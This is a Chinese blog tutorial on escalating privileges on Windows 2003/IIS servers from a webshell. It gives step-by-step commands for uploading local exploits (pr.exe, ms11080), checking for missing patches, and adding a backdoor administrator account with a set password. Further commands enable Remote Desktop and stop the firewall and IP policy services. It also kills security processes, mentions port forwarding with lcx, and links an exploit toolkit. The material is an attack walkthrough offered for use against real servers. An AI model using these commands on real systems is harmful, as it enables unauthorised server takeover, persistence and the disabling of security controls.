您的位置 » 首页 » 渗透测试 » 常见的服务器溢出提权方法总结

常见的服务器溢出提权方法总结

发表于5年前 | 作者: seay | 分类: 渗透测试 | 孵化于:2012年06月20日 | 文章热度:8,471 次 全屏阅读

显示不全请点击全屏阅读

 

0×00 前言
0×01 找可写目录
0×02 运行exploit提权
0×03 附录

0×00 前言
溢出漏洞就像杯子里装水,水多了杯子装不进去,就会把里面的水溢出来.
而相对计算机来说计算机有个地方叫缓存区,程序的缓存区长度是被事先设定好的,如果用户输入的数据超过了这个缓存区的长度,那么这个程序就会溢出了.缓存区溢出漏洞主要是由于许多软件没有对缓存区检查而造成的.

这一章大概就是说利用一些现成的造成溢出漏洞的exploit通过运行,把用户从users组或其它系统用户中提升到administrators组.

首先asp webshell要支持wscript(wscript.shell/shell.application)

一般打开webshell里面都会有组件支持,看到wscript.shell 旁边的勾选上了就支持wscript,当然也有一些webshell会有诈胡的现象.- -市面上的几款比较火的webshell貌似都有这些问题,帮朋友提权他的webshell有wscript.shell 支持,然后找个目录执行cmd的结果不行,转到我那webshell上显示没wscript.shell 支持..
或者aspx能调用.net组件来执行cmd的命令.

这里主要用几款市面上比较多人利用的windows exploit提权的利用工具.

0×01 找可写目录
这里附上啊D写的asp版本扫描可写目录和欧欧写的aspx扫可写目录,最后附上一款我自己比较喜欢用来日星外时候的辅助 小手冰凉的aspx 通过查注册表然后获取路径,配合啊D的扫可写目录比较不错.这些工具我们都演示一遍吧.

输入目录,然后点击开始检测,得出以下结果

蓝色是貌似是代表有一定的权限,未必可写(可能可读),红色是代表文件夹可写,红色的文件呢就是代表那个文件可写了,黑色是代表不存在该文件夹.
接下来演示一下欧欧写的aspx扫描,比较简单,一看就清楚了..

输入文件夹路径或者盘符0.0,接着点击ScanWrtieable即可.

最后是演示一下小手冰凉写的这款通过读取注册表里的软件的路径,然后输出注册表里的数据,显示软件安装所在的路径..配合啊D的目录读写检测 asp版,可以快速的找到可写目录。

0×02 运行exploit提权

这里我已经找到了一个可写目录
c:Documents and SettingsAll UsersDocumentsMy MusicSample Playlists012F852
我们上传cmd试试吧.

一些小技巧:有些安全软件或者一些管理员会在注册表或者安全策略神马的设置,限制运行exe后缀的文件,有时候可以把上传的cmd.exe随便改名字,-0-在webshell下运行它不管你是不是exe后缀最终都是以exe文件来运行..

点击webshell里面的cmd命令

输入我们刚才上传的cmd.exe的路径和文件名.勾选WScript.Shell ,我们这里看看我们现在用户的权限,输入whoami 点击执行.返回了一个信息
nt authoritynetwork service
在第三章《windows2003 webshell默认权限》里我讲过下面引用第三章
Network Service是Windows 2003中新内置的一个被严格限制的账号。另外,IIS 6.0只允许管理员执行命令行工具,从而避免命令行工具的恶意使用。这些设计上的改变,都降低了通过潜在的漏洞攻击服务器的可能性。部分基础设计上的改 变、一些简单配置的更改(包括取消匿名用户向web服务器的根目录写入权限,和将FTP用户的访问隔离在他们各自的主目录中)都极大地提高了IIS 6.0的安全性。

0.0该用户就是一个users组的,可以执行一些简单的命令. 但不能直接net user 添加用户.有些黑客做了后门所以让webshell在iis下运行有system权限.具体方法参考0×03附录.
我们在运行exploit前一般会输入systeminfo这命令.或者通过查询c:windows 里留下的补丁号.log来看看服务器大概打了哪些补丁
.
附上对应补丁号

KB2360937 MS10-084
KB2478960 MS11-014
KB2507938 MS11-056
KB2566454 MS11-062
KB2646524 MS12-003
KB2645640 MS12-009
KB2641653 MS12-018
KB952004 MS09-012 Pr.exe
KB956572 MS09-012 巴西烤肉
KB971657 MS09-041
KB2620712 MS11-097
KB2393802 MS11-011 ms11011.exe
KB942831 MS08-005
KB2503665 MS11-046 ms11046.exe
KB2592799 MS11-080 ms11080.exe
0.0没打补丁也.接着在那可读可写可执行的目录下,上传我们的exploit.

执行pr,为什么不回显呢?
我在这里解答一下吧,因为上传的文件的路径 文件夹里面有 空格c:Documents and SettingsAll UsersDocumentsMy MusicSample Playlists012F852
我们换个路径吧
C:RECYCLER

看到没有,有回显了. Pr的使用方法就是 文件所在的路径 + “cmd命令” ps:要注意有””双引号!!.

C:RECYCLERpr.exe “whoami”
返回数据,system权限0.0.可以直接添加administrator的用户.

C:RECYCLERpr.exe “net user xiaoguai h4x0er.com /add & net localgroup administrators xiaoguai /add”
添加一个xiaoguai的账号,密码是h4x0er.com,把xiaoguai这个账号添加进administrators这个组里面.

接着我们就查看一下3389的端口.点击读取注册表,读取HKLMSYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-TcpPortNumber
这个键里面的值.

然后就直接3389登陆吧,如果登陆不上的话,参考一下附录下的解决方法.

以刚才添加账号的登陆进去了.
接下来演示一下aspx的webshell提权,当asp不支持WScript.而支持aspx的脚本时候就可以试试用aspx来提权.

Aspx webshell是调用.net的组件来运行cmd命令的.

打开C:RECYCLER目录(该目录可写可读可执行),点击文件管理,浏览ms11080.exe,然后点击上传。
返回File upload success!就说明上传成功了,0.0我们看看该目录下是否存在ms11080.exe这个文件如果不存在的话,很有可能是被杀毒软件杀掉了.
接下来切换到cmd命令去. 输入
/c C:RECYCLERms11080.exe 当出现Add to Administrators success
说明90sec这个账号添加成功了.账号密码都是90sec.

我们运行net user看看是否添加上去了

我们刚用pr和ms11080添加的账号都在。
Pr和巴西烤肉的使用方法是一样的,ms11080和ms11046使用方法也是一样的,下面就不演示了.
提权工具的方法也差不多,不懂的时候可以去baidu找一下..这里就不再登陆上去了.

Aspx的webshell下点击系统信息,Terminal Port : 即3389的端口,

或者在aspx webshell下的注册表查询HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-TcpPortNumber

Aspxspy还有一个反弹的 端口映射,- -很卡..aspx的shell因为是user权限,所以可以直接在shell里反弹的。

0×03 附录
1.IIS6.0下将webshell提升为system用户权限的方法:进入应用程序池-属性-标识:将标识里面的预定义账号设为:本地系统 (代表webshell具有system用户权限)或者选用那个”IWAM_主机名”用户,再用clone5.exe程序克隆“IWAM_主机名”用户

2.提权漏洞的对应补丁号查询cmd版
自动检测补丁的CMD命令,命令比较简单,就不解释了,由于只有一行,所以直接复制到cmd中就可以执行了,不需要保存为批处理文件……
提权漏洞的对应补丁号查询cmd版+加提权工具包:
你可以把“@echo %i Not Installed!” 换成 “%i.exe Parameters“,就可以自动提权了……
提权漏洞的对应补丁号查询cmd版+加提权工具包
systeminfo>a.txt&(for %i in (KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 kb942831 KB2503665 KB2592799) do @type a.txt|@find /i “%i”||@echo %i Not Installed!)&del /f /q /a a.txt
接下来内容由90sec的0days修正
这个版本是核老大写的…用的是systeminfo来看装了哪些补丁… 里面的补丁号已经更换过了.systeminfo>a.txt&(for %i in (KB952004 KB956572 KB2393802 KB2503665 KB2592799 KB2621440 KB2160329 KB970483 KB2124261 KB977165 KB958644) do @type a.txt|@find /i “%i”||@echo %i Not Installed!)&del /f /q /a a.txt
这个是我按照他的命令修改的…是查看c:windows下安装补丁之后留下的log文件来查看是否安装了补丁…
dir c:windows>a.txt&(for %i in (KB952004.log KB956572.log KB2393802.log KB2503665.log KB2592799.log KB2621440.log KB2160329.log KB970483.log KB2124261.log KB977165.log KB958644.log) do @type a.txt|@find /i “%i”||@echo %i Not Installed!)&del /f /q /a a.txt

3.3389连接不上的解决方法
如果直接连接连接不上的话,有可能是以下几种情况以及解决方法

1.远程桌面服务没开启
可以把
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal” “Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
保存成bat文件在cmd下找个可写目录然后以system权限运行.
2.IP策略阻拦
sc stop policyagent
3.windows自带防火墙阻拦
net stop sharedaccess
4.其他防火墙阻拦
tasklist /svc此命令可以获取每个进程中主持的服务
看到哪个不是系统自带的服务或者正在运行的进程
用ntsd -c q -pn xxx.exe 和 net stop 还有sc stop 这几个命令以system权限xx掉它.
5.内网
可以通过lcx等转发工具.

文章中使用的windows exploit

http://115.com/file/c2wi2jk6#提权工具集合.rar

91ri.org点评:本文是一篇非常好的科普文 几乎集合了所有现在有的windows本地提权方式,作者是dis9@小乖 大家可以多看几遍 多参考参考 我保证对新手朋友们会有帮助!

Tags:

提权思路,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡


来自 Seay互联网安全博客
本文地址:http://www.cnseay.com/330/
文章版权说明请看置顶文章,尊重作者,转载请以链接形式标明原文地址

马上分享给你的朋友吧~

发表评论

你的大名(必填)

你的邮箱(必填)

评论内容(必填)